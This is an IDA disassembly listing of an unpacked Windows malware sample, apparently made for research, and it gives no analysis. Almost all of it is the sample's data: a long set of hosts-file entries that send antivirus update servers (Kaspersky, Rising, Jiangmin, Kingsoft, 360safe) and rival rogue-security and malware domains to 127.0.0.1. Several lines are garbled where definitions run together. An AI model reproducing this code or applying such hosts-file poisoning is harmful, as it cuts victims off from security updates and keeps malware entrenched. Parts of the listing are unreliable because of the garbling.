;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	B669E4572C479D3BF2914DDB3068645C

; File Name   :	u:\work\b669e4572c479d3bf2914ddb3068645c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004000 (  16384.)
; Section size in file		: 00004000 (  16384.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
dword_401000	dd 7C812ADEh, 0	; resolved to->KERNEL32.GetVersionExAdword_401008	dd 77C40E13h, 77C3F010h, 77C40AB1h, 0; resolved to->MSVCRT.fprintf					; .text:00403BFAr ...
a127_0_0_1Munir	db 0Ah			; DATA XREF: .text:004048BBo
		db '127.0.0.1',9,'munirah.nagitiriheiwu.net',0
		align 10h
a127_0_0_1Dirty	db 0Ah			; DATA XREF: .text:004048B3o
		db '127.0.0.1',9,'dirty.eiheihre3.com',0
		align 10h
a127_0_0_1Bti_j	db 0Ah			; DATA XREF: .text:004048ABo
		db '127.0.0.1',9,'bti.jeiahsdod.net',0
		align 10h
a127_0_0_1Jiets	db 0Ah			; DATA XREF: .text:004048A3o
		db '127.0.0.1',9,'jiets.soidudrf.com',0
		align 10h
a127_0_0_1Russi	db 0Ah			; DATA XREF: .text:0040489Bo
		db '127.0.0.1',9,'russia.blacktiehsbdcs.com',0
		align 4
a127_0_0_1Dhcp_	db 0Ah			; DATA XREF: .text:00404890o
		db '127.0.0.1',9,'dhcp.vncsvr.com',0
		align 4
a127_0_0_1Mvl0a	db 0Ah			; DATA XREF: .text:00404888o
		db '127.0.0.1',9,'mvl0an7.com',0
		align 4
a127_0_0_1Dep_m	db 0Ah			; DATA XREF: .text:00404880o
		db '127.0.0.1',9,'dep.mvl0an7.com',0
		align 4
a127_0_0_1Ntkrn	db 0Ah			; DATA XREF: .text:00404878o
		db '127.0.0.1',9,'ntkrnlpa.info',0
		align 4
a127_0_0_1Proxi	db 0Ah			; DATA XREF: .text:00404870o
		db '127.0.0.1',9,'proxim.ntkrnlpa.info',0
a127_0_0_1Ircga	db 0Ah			; DATA XREF: .text:00404868o
		db '127.0.0.1',9,'ircgalaxy.pl',0
a127_0_0_1Pro_0	db 0Ah			; DATA XREF: .text:00404860o
		db '127.0.0.1',9,'proxima.ircgalaxy.pl',0
a127_0_0_1Pro_1	db 0Ah			; DATA XREF: .text:00404858o
		db '127.0.0.1',9,'proxim.ircgalaxy.pl',0
		align 4
a127_0_0_1Zief_	db 0Ah			; DATA XREF: .text:0040484Do
		db '127.0.0.1',9,'zief.pl',0
		align 10h
a127_0_0_1Eircd	db 0Ah			; DATA XREF: .text:00404845o
		db '127.0.0.1',9,'eircd.zief.pl',0
		align 4
a127_0_0_1Www_n	db 0Ah			; DATA XREF: .text:0040483Do
		db '127.0.0.1',9,'www.netau.dk',0
a127_0_0_1Netau	db 0Ah			; DATA XREF: .text:00404835o
		db '127.0.0.1',9,'netau.dk',0
a127_0_0_1Mail7	db 0Ah			; DATA XREF: .text:0040482Do
		db '127.0.0.1',9,'mail7.digitalwaves.co.nz',0
a127_0_0_1GtldS	db 0Ah			; DATA XREF: .text:00404825o
		db '127.0.0.1',9,'gtld-servers.net',0
a127_0_0_1H_gtl	db 0Ah			; DATA XREF: .text:0040481Do
		db '127.0.0.1',9,'h.gtld-servers.net',0
		align 4
a127_0_0_1Messa	db 0Ah			; DATA XREF: .text:00404815o
		db '127.0.0.1',9,'messagingengine.com',0
		align 4
a127_0_0_1In1_s	db 0Ah			; DATA XREF: .text:0040480Ao
		db '127.0.0.1',9,'in1.smtp.messagingengine.com',0
a127_0_0_1Hybri	db 0Ah			; DATA XREF: .text:00404802o
		db '127.0.0.1',9,'hybridtx.com',0
a127_0_0_1Pool_	db 0Ah			; DATA XREF: .text:004047FAo
		db '127.0.0.1',9,'pool.hybridtx.com',0
		align 4
a127_0_0_1Www_r	db 0Ah			; DATA XREF: .text:004047F2o
		db '127.0.0.1',9,'www.rhythmswing.org',0
		align 4
a127_0_0_1Rhyth	db 0Ah			; DATA XREF: .text:004047EAo
		db '127.0.0.1',9,'rhythmswing.org',0
		align 4
a127_0_0_1Pcsec	db 0Ah			; DATA XREF: .text:004047DAo
		db '127.0.0.1',9,'pcsecuritylab.com',0
		align 4
a127_0_0_1Darks	db 0Ah			; DATA XREF: .text:004047D2o
		db '127.0.0.1',9,'darksheekz.info',0
		align 10h
a127_0_0_1Ns2_d	db 0Ah			; DATA XREF: .text:004047C7o
		db '127.0.0.1',9,'ns2.darksheekz.info',0
		align 10h
a127_0_0_1Proxy	db 0Ah			; DATA XREF: .text:004047B7o
		db '127.0.0.1',9,'proxyisp.info',0
		align 4
a127_0_0_1M_pro	db 0Ah			; DATA XREF: .text:004047AFo
		db '127.0.0.1',9,'m.proxyisp.info',0
		align 4
a127_0_0_1Mp0_i	db 0Ah			; DATA XREF: .text:004047A7o
		db '127.0.0.1',9,'mp0.inetpc.net',0
		align 4
a127_0_0_1Inetp	db 0Ah			; DATA XREF: .text:0040479Fo
		db '127.0.0.1',9,'inetpc.net',0
		align 4
a127_0_0_1DnlJp	db 0Ah			; DATA XREF: .text:00404797o
		db '127.0.0.1',9,'dnl-jp4.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_0	db 0Ah			; DATA XREF: .text:0040478Fo
		db '127.0.0.1',9,'dnl-jp3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_1	db 0Ah			; DATA XREF: .text:00404784o
		db '127.0.0.1',9,'dnl-jp2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_2	db 0Ah			; DATA XREF: .text:0040477Co
		db '127.0.0.1',9,'dnl-jp1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlKr	db 0Ah			; DATA XREF: .text:00404774o
		db '127.0.0.1',9,'dnl-kr3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_3	db 0Ah			; DATA XREF: .text:0040476Co
		db '127.0.0.1',9,'dnl-kr2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_4	db 0Ah			; DATA XREF: .text:00404764o
		db '127.0.0.1',9,'dnl-kr1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlCn	db 0Ah			; DATA XREF: .text:0040475Co
		db '127.0.0.1',9,'dnl-cn3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_5	db 0Ah			; DATA XREF: .text:00404754o
		db '127.0.0.1',9,'dnl-cn2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_6	db 0Ah			; DATA XREF: .text:0040474Co
		db '127.0.0.1',9,'dnl-cn1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlRu	db 0Ah			; DATA XREF: .text:00404741o
		db '127.0.0.1',9,'dnl-ru5.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_7	db 0Ah			; DATA XREF: .text:00404739o
		db '127.0.0.1',9,'dnl-ru2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_8	db 0Ah			; DATA XREF: .text:00404731o
		db '127.0.0.1',9,'dnl-ru1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlCd	db 0Ah			; DATA XREF: .text:00404729o
		db '127.0.0.1',9,'dnl-cd1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlEu	db 0Ah			; DATA XREF: .text:00404721o
		db '127.0.0.1',9,'dnl-eu13.kaspersky-labs.com',0
		align 4
a127_0_0_1Dnl_9	db 0Ah			; DATA XREF: .text:00404719o
		db '127.0.0.1',9,'dnl-eu12.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_10	db 0Ah			; DATA XREF: .text:00404711o
		db '127.0.0.1',9,'dnl-eu11.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_11	db 0Ah			; DATA XREF: .text:00404709o
		db '127.0.0.1',9,'dnl-eu10.kaspersky-labs.com',0
		align 4
dword_4016BC	dd 3732310Ah, 302E302Eh, 6409312Eh, 652D6C6EhaU9_kasperskyLa	db 'u9.kaspersky-labs.com',0 ; DATA XREF: sub_408A11+1D50o
		align 4
a127_0_0_1Dn_12	db 0Ah			; DATA XREF: .text:004046F6o
		db '127.0.0.1',9,'dnl-eu8.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_13	db 0Ah			; DATA XREF: .text:004046EEo
		db '127.0.0.1',9,'dnl-eu7.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_14	db 0Ah			; DATA XREF: .text:004046E6o
		db '127.0.0.1',9,'dnl-eu6.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_15	db 0Ah			; DATA XREF: .text:004046DEo
		db '127.0.0.1',9,'dnl-eu5.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_16	db 0Ah			; DATA XREF: .text:004046D6o
		db '127.0.0.1',9,'dnl-eu4.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_17	db 0Ah			; DATA XREF: .text:004046CEo
		db '127.0.0.1',9,'dnl-eu3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_18	db 0Ah			; DATA XREF: .text:004046C6o
		db '127.0.0.1',9,'dnl-eu2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_19	db 0Ah			; DATA XREF: .text:004046BBo
		db '127.0.0.1',9,'dnl-eu1.kaspersky-labs.com',0
		align 4
a127_0_0_1DnlUs	db 0Ah			; DATA XREF: .text:004046B3o
		db '127.0.0.1',9,'dnl-us10.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_20	db 0Ah			; DATA XREF: .text:004046ABo
		db '127.0.0.1',9,'dnl-us9.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_21	db 0Ah			; DATA XREF: .text:004046A3o
		db '127.0.0.1',9,'dnl-us8.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_22	db 0Ah			; DATA XREF: .text:0040469Bo
		db '127.0.0.1',9,'dnl-us7.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_23	db 0Ah			; DATA XREF: .text:00404693o
		db '127.0.0.1',9,'dnl-us6.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_24	db 0Ah			; DATA XREF: .text:0040468Bo
		db '127.0.0.1',9,'dnl-us5.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_25	db 0Ah			; DATA XREF: .text:00404683o
		db '127.0.0.1',9,'dnl-us4.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_26	db 0Ah			; DATA XREF: .text:00404678o
		db '127.0.0.1',9,'dnl-us3.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_27	db 0Ah			; DATA XREF: .text:00404670o
		db '127.0.0.1',9,'dnl-us2.kaspersky-labs.com',0
		align 4
a127_0_0_1Dn_28	db 0Ah			; DATA XREF: .text:00404668o
		db '127.0.0.1',9,'dnl-us1.kaspersky-labs.com',0
		align 4
a127_0_0_1Downl	db 0Ah			; DATA XREF: .text:00404660o
		db '127.0.0.1',9,'download.rising.com.cn',0
		align 4
a127_0_0_1Updat	db 0Ah			; DATA XREF: .text:00404658o
		db '127.0.0.1',9,'update7.jiangmin.com',0
a127_0_0_1Upd_0	db 0Ah			; DATA XREF: .text:00404650o
		db '127.0.0.1',9,'update.rising.com.cn',0
a127_0_0_1Reg_r	db 0Ah			; DATA XREF: .text:00404648o
		db '127.0.0.1',9,'reg.rising.com.cn',0
		align 4
a127_0_0_1Kvup_	db 0Ah			; DATA XREF: .text:00404640o
		db '127.0.0.1',9,'kvup.jiangmin.com',0
		align 4
a127_0_0_1Scan_	db 0Ah			; DATA XREF: .text:00404635o
		db '127.0.0.1',9,'scan.kingsoft.com',0
		align 4
a127_0_0_1Up_ri	db 0Ah			; DATA XREF: .text:0040462Do
		db '127.0.0.1',9,'up.rising.com.cn',0
a127_0_0_1Forum	db 0Ah			; DATA XREF: .text:00404625o
		db '127.0.0.1',9,'forum.ikaka.com',0
		align 10h
a127_0_0_1Zs_ki	db 0Ah			; DATA XREF: .text:0040461Do
		db '127.0.0.1',9,'zs.kingsoft.com',0
		align 4
a127_0_0_1Www_3	db 0Ah			; DATA XREF: .text:00404615o
		db '127.0.0.1',9,'www.360safe.com',0
		align 4
a127_0_0_1Tool_	db 0Ah			; DATA XREF: .text:0040460Do
		db '127.0.0.1',9,'tool.ikaka.com',0
		align 4
a127_0_0_1Www_i	db 0Ah			; DATA XREF: .text:00404605o
		db '127.0.0.1',9,'www.ikaka.com',0
		align 10h
a127_0_0_1Www_m	db 0Ah			; DATA XREF: .text:004045FDo
		db '127.0.0.1',9,'www.mmsk.cn',0
		align 4
a127_0_0_1360sa	db 0Ah			; DATA XREF: .text:004045F2o
		db '127.0.0.1',9,'360safe.com',0
		align 10h
a127_0_0_1Safe_	db 0Ah			; DATA XREF: .text:004045EAo
		db '127.0.0.1',9,'safe.qq.com',0
		align 4
a127_0_0_1Ikaka	db 0Ah			; DATA XREF: .text:004045E2o
		db '127.0.0.1',9,'ikaka.com',0
		align 10h
a127_0_0_1Mmsk_	db 0Ah			; DATA XREF: .text:004045DAo
		db '127.0.0.1',9,'mmsk.cn',0
		align 4
a127_0_0_1Zgall	db 0Ah			; DATA XREF: .text:004045D2o
		db '127.0.0.1',9,'zgallery.us',0
		align 4
a127_0_0_1Zchxs	db 0Ah			; DATA XREF: .text:004045CAo
		db '127.0.0.1',9,'zchxsikpgz.biz',0
		align 4
a127_0_0_1Yhvoo	db 0Ah			; DATA XREF: .text:004045C2o
		db '127.0.0.1',9,'yhvoo.eseconsult.info',0
		align 4
a127_0_0_1Yepjn	db 0Ah			; DATA XREF: .text:004045BAo
		db '127.0.0.1',9,'yepjnddqpq.biz',0
		align 4
a127_0_0_1Ybbwx	db 0Ah			; DATA XREF: .text:004045AFo
		db '127.0.0.1',9,'ybbwxlxytz.biz',0
		align 4
a127_0_0_1Www_z	db 0Ah			; DATA XREF: .text:004045A7o
		db '127.0.0.1',9,'www.zgallery.us',0
		align 10h
a127_0_0_1Www_t	db 0Ah			; DATA XREF: .text:0040459Fo
		db '127.0.0.1',9,'www.traff4ppc.biz',0
		align 10h
a127_0_0_1Www_s	db 0Ah			; DATA XREF: .text:00404597o
		db '127.0.0.1',9,'www.spamcatchero.biz',0
a127_0_0_1Www_0	db 0Ah			; DATA XREF: .text:0040458Fo
		db '127.0.0.1',9,'www.sp2admin.biz',0
a127_0_0_1Www_1	db 0Ah			; DATA XREF: .text:00404587o
		db '127.0.0.1',9,'www.s-pics.biz',0
		align 4
a127_0_0_1Www_2	db 0Ah			; DATA XREF: .text:0040457Fo
		db '127.0.0.1',9,'www.searchx.cc',0
		align 4
a127_0_0_1Www_p	db 0Ah			; DATA XREF: .text:00404577o
		db '127.0.0.1',9,'www.procounter.biz',0
		align 4
a127_0_0_1Www_4	db 0Ah			; DATA XREF: .text:0040456Co
		db '127.0.0.1',9,'www.picshunter.us',0
		align 4
a127_0_0_1Www_l	db 0Ah			; DATA XREF: .text:00404564o
		db '127.0.0.1',9,'www.lattefresco.biz',0
		align 4
a127_0_0_1Ultra	db 0Ah			; DATA XREF: .text:0040455Co
		db '127.0.0.1',9,'ultra-search.biz',0
a127_0_0_1Traff	db 0Ah			; DATA XREF: .text:00404554o
		db '127.0.0.1',9,'traffmoney.biz',0
		align 4
a127_0_0_1Tra_0	db 0Ah			; DATA XREF: .text:0040454Co
		db '127.0.0.1',9,'traffbucks.biz',0
		align 4
a127_0_0_1Tra_1	db 0Ah			; DATA XREF: .text:00404544o
		db '127.0.0.1',9,'traffbest.biz',0
		align 4
a127_0_0_1Tra_2	db 0Ah			; DATA XREF: .text:0040453Co
		db '127.0.0.1',9,'traff5all.biz',0
		align 10h
a127_0_0_1Sp2ad	db 0Ah			; DATA XREF: .text:00404534o
		db '127.0.0.1',9,'sp2admin.biz',0
a127_0_0_1Snow4	db 0Ah			; DATA XREF: .text:00404529o
		db '127.0.0.1',9,'snow410.info',0
a127_0_0_1SPics	db 0Ah			; DATA XREF: .text:00404521o
		db '127.0.0.1',9,'s-pics.biz',0
		align 4
a127_0_0_1Searc	db 0Ah			; DATA XREF: .text:00404519o
		db '127.0.0.1',9,'searchx.cc',0
		align 10h
a127_0_0_1Sea_0	db 0Ah			; DATA XREF: .text:00404511o
		db '127.0.0.1',9,'search-biz.biz',0
		align 4
a127_0_0_1Preve	db 0Ah			; DATA XREF: .text:00404509o
		db '127.0.0.1',9,'prevedtraf.biz',0
		align 4
a127_0_0_1Picsh	db 0Ah			; DATA XREF: .text:00404501o
		db '127.0.0.1',9,'picshunter.us',0
		align 4
a127_0_0_1Musah	db 0Ah			; DATA XREF: .text:004044F9o
		db '127.0.0.1',9,'musah.info',0
		align 4
a127_0_0_1GetAc	db 0Ah			; DATA XREF: .text:004044F1o
		db '127.0.0.1',9,'get-access.host.sk',0
		align 4
a127_0_0_1Game4	db 0Ah			; DATA XREF: .text:004044E6o
		db '127.0.0.1',9,'game4all.biz',0
a127_0_0_1Forli	db 0Ah			; DATA XREF: .text:004044DEo
		db '127.0.0.1',9,'forlink.biz',0
		align 4
a127_0_0_1Exelo	db 0Ah			; DATA XREF: .text:004044D6o
		db '127.0.0.1',9,'exeloads.info',0
		align 4
a127_0_0_1Dow_0	db 0Ah			; DATA XREF: .text:004044CEo
		db '127.0.0.1',9,'download.jupitersatellites.biz',0
		align 4
a127_0_0_1Dow_1	db 0Ah			; DATA XREF: .text:004044C6o
		db '127.0.0.1',9,'download.accessmedia.tv',0
		align 4
a127_0_0_1Cyber	db 0Ah			; DATA XREF: .text:004044BEo
		db '127.0.0.1',9,'cyber-search.biz',0
a127_0_0_1Code_	db 0Ah			; DATA XREF: .text:004044B6o
		db '127.0.0.1',9,'code.trasferimento.biz',0
		align 4
a127_0_0_1Cod_0	db 0Ah			; DATA XREF: .text:004044AEo
		db '127.0.0.1',9,'code.jcash.biz',0
		align 4
a127_0_0_1Click	db 0Ah			; DATA XREF: .text:004044A3o
		db '127.0.0.1',9,'clickfast.biz',0
		align 10h
a127_0_0_1Centr	db 0Ah			; DATA XREF: .text:0040449Bo
		db '127.0.0.1',9,'centralgate.biz',0
		align 4
a127_0_0_1Braza	db 0Ah			; DATA XREF: .text:00404493o
		db '127.0.0.1',9,'brazauskas.info',0
		align 4
a127_0_0_1Www_u	db 0Ah			; DATA XREF: .text:0040448Bo
		db '127.0.0.1',9,'www.usafis.org',0
		align 4
a127_0_0_1Adser	db 0Ah			; DATA XREF: .text:00404483o
		db '127.0.0.1',9,'adserving.cpxinteractive.com',0
a127_0_0_1Fastc	db 0Ah			; DATA XREF: .text:0040447Bo
		db '127.0.0.1',9,'fastclick.net',0
		align 4
a127_0_0_1Fas_0	db 0Ah			; DATA XREF: .text:00404473o
		db '127.0.0.1',9,'fastclick.com',0
		align 4
a127_0_0_1Popup	db 0Ah			; DATA XREF: .text:0040446Bo
		db '127.0.0.1',9,'popuptraffic.com',0
a127_0_0_1Ads_a	db 0Ah			; DATA XREF: .text:00404460o
		db '127.0.0.1',9,'ads.ad-flow.com',0
		align 4
a127_0_0_1AdFlo	db 0Ah			; DATA XREF: .text:00404458o
		db '127.0.0.1',9,'ad-flow.com',0
		align 4
a127_0_0_1Dayra	db 0Ah			; DATA XREF: .text:00404450o
		db '127.0.0.1',9,'dayrates.com',0
a127_0_0_1Commi	db 0Ah			; DATA XREF: .text:00404448o
		db '127.0.0.1',9,'commission-junction.com',0
		align 10h
a127_0_0_1Serve	db 0Ah			; DATA XREF: .text:00404440o
		db '127.0.0.1',9,'servedby.advertising.com',0
a127_0_0_1Adver	db 0Ah			; DATA XREF: .text:00404438o
		db '127.0.0.1',9,'advertising.com',0
		align 10h
a127_0_0_1Www_a	db 0Ah			; DATA XREF: .text:00404430o
		db '127.0.0.1',9,'www.adcycle.com',0
		align 4
a127_0_0_1Adtra	db 0Ah			; DATA XREF: .text:00404428o
		db '127.0.0.1',9,'adtrade.net',0
		align 4
a127_0_0_1Adhos	db 0Ah			; DATA XREF: .text:0040441Do
		db '127.0.0.1',9,'adhostcenter.com',0
a127_0_0_1Doubl	db 0Ah			; DATA XREF: .text:00404415o
		db '127.0.0.1',9,'doubleclick.com',0
		align 4
a127_0_0_1Dou_0	db 0Ah			; DATA XREF: .text:0040440Do
		db '127.0.0.1',9,'doubleclick.net',0
		align 4
a127_0_0_1Softw	db 0Ah			; DATA XREF: .text:00404405o
		db '127.0.0.1',9,'softwaredoctor.com',0
		align 4
a127_0_0_1Www_5	db 0Ah			; DATA XREF: .text:004043FDo
		db '127.0.0.1',9,'www.softwaredoctor.com',0
		align 4
a127_0_0_13bsof	db 0Ah			; DATA XREF: .text:004043F5o
		db '127.0.0.1',9,'3bsoftware.com',0
		align 4
a127_0_0_1Www_6	db 0Ah			; DATA XREF: .text:004043EDo
		db '127.0.0.1',9,'www.3bsoftware.com',0
		align 4
a127_0_0_1Spywa	db 0Ah			; DATA XREF: .text:004043E5o
		db '127.0.0.1',9,'spywareno.com',0
		align 4
a127_0_0_1Www_7	db 0Ah			; DATA XREF: .text:004043DAo
		db '127.0.0.1',9,'www.spywareno.com',0
		align 4
a127_0_0_1Spyto	db 0Ah			; DATA XREF: .text:004043D2o
		db '127.0.0.1',9,'spytoaster.com',0
		align 10h
a127_0_0_1Www_8	db 0Ah			; DATA XREF: .text:004043CAo
		db '127.0.0.1',9,'www.spytoaster.com',0
		align 10h
a127_0_0_1Spy_0	db 0Ah			; DATA XREF: .text:004043C2o
		db '127.0.0.1',9,'spyware-adware-removal.net',0
		align 4
a127_0_0_1Www_9	db 0Ah			; DATA XREF: .text:004043BAo
		db '127.0.0.1',9,'www.spyware-adware-removal.net',0
		align 4
a127_0_0_1123Sp	db 0Ah			; DATA XREF: .text:004043B2o
		db '127.0.0.1',9,'123-spyware-remover.com',0
		align 4
a127_0_0_1Ww_10	db 0Ah			; DATA XREF: .text:004043AAo
		db '127.0.0.1',9,'www.123-spyware-remover.com',0
		align 10h
a127_0_0_1Nomor	db 0Ah			; DATA XREF: .text:004043A2o
		db '127.0.0.1',9,'nomorespyware.net',0
		align 10h
a127_0_0_1Ww_11	db 0Ah			; DATA XREF: .text:00404397o
		db '127.0.0.1',9,'www.nomorespyware.net',0
		align 4
a127_0_0_1Elimi	db 0Ah			; DATA XREF: .text:0040438Fo
		db '127.0.0.1',9,'elimiware.com',0
		align 10h
a127_0_0_1Www_e	db 0Ah			; DATA XREF: .text:00404387o
		db '127.0.0.1',9,'www.elimiware.com',0
		align 10h
a127_0_0_1Ridad	db 0Ah			; DATA XREF: .text:0040437Fo
		db '127.0.0.1',9,'ridadware.org',0
		align 4
a127_0_0_1Ww_12	db 0Ah			; DATA XREF: .text:00404377o
		db '127.0.0.1',9,'www.ridadware.org',0
		align 4
a127_0_0_1Spy_1	db 0Ah			; DATA XREF: .text:0040436Fo
		db '127.0.0.1',9,'spywareremoval.ws',0
		align 4
a127_0_0_1Ww_13	db 0Ah			; DATA XREF: .text:00404367o
		db '127.0.0.1',9,'www.spywareremoval.ws',0
		align 10h
a127_0_0_1Compa	db 0Ah			; DATA XREF: .text:0040435Fo
		db '127.0.0.1',9,'compare-spyware.com',0
		align 10h
a127_0_0_1Www_c	db 0Ah			; DATA XREF: .text:00404354o
		db '127.0.0.1',9,'www.compare-spyware.com',0
		align 4
a127_0_0_1Compu	db 0Ah			; DATA XREF: .text:0040434Co
		db '127.0.0.1',9,'computerspywarecheck.com',0
a127_0_0_1Ww_14	db 0Ah			; DATA XREF: .text:00404344o
		db '127.0.0.1',9,'www.computerspywarecheck.com',0
a127_0_0_1Spy_2	db 0Ah			; DATA XREF: .text:0040433Co
		db '127.0.0.1',9,'spyware-control.com',0
		align 10h
a127_0_0_1Ww_15	db 0Ah			; DATA XREF: .text:00404334o
		db '127.0.0.1',9,'www.spyware-control.com',0
		align 4
a127_0_0_1FreeS	db 0Ah			; DATA XREF: .text:0040432Co
		db '127.0.0.1',9,'free-spyware.net',0
a127_0_0_1Www_f	db 0Ah			; DATA XREF: .text:00404324o
		db '127.0.0.1',9,'www.free-spyware.net',0
a127_0_0_1Digit	db 0Ah			; DATA XREF: .text:0040431Co
		db '127.0.0.1',9,'digitalreservoir.com',0
a127_0_0_1Www_d	db 0Ah			; DATA XREF: .text:00404311o
		db '127.0.0.1',9,'www.digitalreservoir.com',0
a127_0_0_1TheSp	db 0Ah			; DATA XREF: .text:00404309o
		db '127.0.0.1',9,'the-spyware-zone.com',0
a127_0_0_1Ww_16	db 0Ah			; DATA XREF: .text:00404301o
		db '127.0.0.1',9,'www.the-spyware-zone.com',0
a127_0_0_1Spybo	db 0Ah			; DATA XREF: .text:004042F9o
		db '127.0.0.1',9,'spybotfinder.com',0
a127_0_0_1Ww_17	db 0Ah			; DATA XREF: .text:004042F1o
		db '127.0.0.1',9,'www.spybotfinder.com',0
a127_0_0_1Fre_0	db 0Ah			; DATA XREF: .text:004042E9o
		db '127.0.0.1',9,'free-spyware-scan.org',0
		align 4
a127_0_0_1Ww_18	db 0Ah			; DATA XREF: .text:004042E1o
		db '127.0.0.1',9,'www.free-spyware-scan.org',0
		align 10h
a127_0_0_1Wwwad	db 0Ah			; DATA XREF: .text:004042D9o
		db '127.0.0.1',9,'wwwadawear.com',0
		align 4
a127_0_0_1Www_w	db 0Ah			; DATA XREF: .text:004042CEo
		db '127.0.0.1',9,'www.wwwadawear.com',0
		align 4
a127_0_0_1Noadw	db 0Ah			; DATA XREF: .text:004042C6o
		db '127.0.0.1',9,'noadware.com--e.com',0
		align 4
a127_0_0_1Ww_19	db 0Ah			; DATA XREF: .text:004042BEo
		db '127.0.0.1',9,'www.noadware.com--e.com',0
		align 10h
a127_0_0_1Prosp	db 0Ah			; DATA XREF: .text:004042B6o
		db '127.0.0.1',9,'prospywareremover.com',0
		align 4
a127_0_0_1Ww_20	db 0Ah			; DATA XREF: .text:004042AEo
		db '127.0.0.1',9,'www.prospywareremover.com',0
		align 4
a127_0_0_1Ww_21	db 0Ah			; DATA XREF: .text:004042A6o
		db '127.0.0.1',9,'www.usagc.org',0
		align 4
a127_0_0_1Ww_22	db 0Ah			; DATA XREF: .text:00404296o
		db '127.0.0.1',9,'www.winfixer2006.com',0
a127_0_0_1Ww_23	db 0Ah			; DATA XREF: .text:00404283o
		db '127.0.0.1',9,'www.windrivesafe.com',0
a127_0_0_1Ww_24	db 0Ah			; DATA XREF: .text:0040427Bo
		db '127.0.0.1',9,'www.windrivecleaner.com',0
		align 4
a127_0_0_1Ww_25	db 0Ah			; DATA XREF: .text:00404273o
		db '127.0.0.1',9,'www.winantiviruspro.com',0
		align 10h
a127_0_0_1Ww_26	db 0Ah			; DATA XREF: .text:00404263o
		db '127.0.0.1',9,'www.winantispyware.com',0
		align 4
a127_0_0_1Ww_27	db 0Ah			; DATA XREF: .text:0040425Bo
		db '127.0.0.1',9,'www.winantispy.com',0
		align 4
a127_0_0_1Ww_28	db 0Ah			; DATA XREF: .text:00404253o
		db '127.0.0.1',9,'www.winantispam.com',0
		align 4
a127_0_0_1Ww_29	db 0Ah			; DATA XREF: .text:00404248o
		db '127.0.0.1',9,'www.win-virus-pro.com',0
		align 4
a127_0_0_1Ww_30	db 0Ah			; DATA XREF: .text:00404240o
		db '127.0.0.1',9,'www.win-anti-virus-pro.com',0
		align 10h
a127_0_0_1Ww_31	db 0Ah			; DATA XREF: .text:00404238o
		db '127.0.0.1',9,'www.utils.winfixer.com',0
		align 4
a127_0_0_1Ww_32	db 0Ah			; DATA XREF: .text:00404230o
		db '127.0.0.1',9,'www.systemdoctor.com',0
a127_0_0_1Winso	db 0Ah			; DATA XREF: .text:00404210o
		db '127.0.0.1',9,'winsoftware.com',0
		align 10h
a127_0_0_1Winfi	db 0Ah			; DATA XREF: .text:00404205o
		db '127.0.0.1',9,'winfixer2006.com',0
a127_0_0_1Win_0	db 0Ah			; DATA XREF: .text:004041FDo
		db '127.0.0.1',9,'winfixer.com',0
a127_0_0_1Winan	db 0Ah			; DATA XREF: .text:004041F5o
		db '127.0.0.1',9,'winantivirus.com',0
a127_0_0_1Win_1	db 0Ah			; DATA XREF: .text:004041EDo
		db '127.0.0.1',9,'winantispyware.com',0
		align 10h
a127_0_0_1Utils	db 0Ah			; DATA XREF: .text:004041E5o
		db '127.0.0.1',9,'utils.winfixer.com',0
		align 10h
a127_0_0_1Uti_0	db 0Ah			; DATA XREF: .text:004041DDo
		db '127.0.0.1',9,'utils.winantivirus.com',0
		align 4
a127_0_0_1Uti_1	db 0Ah			; DATA XREF: .text:004041D5o
		db '127.0.0.1',9,'utils.errorsafe.com',0
		align 4
a127_0_0_1Ulog_	db 0Ah			; DATA XREF: .text:004041CDo
		db '127.0.0.1',9,'ulog.winantivirus.com',0
		align 4
a127_0_0_1Trial	db 0Ah			; DATA XREF: .text:004041C2o
		db '127.0.0.1',9,'trial.updates.winsoftware.com',0
		align 4
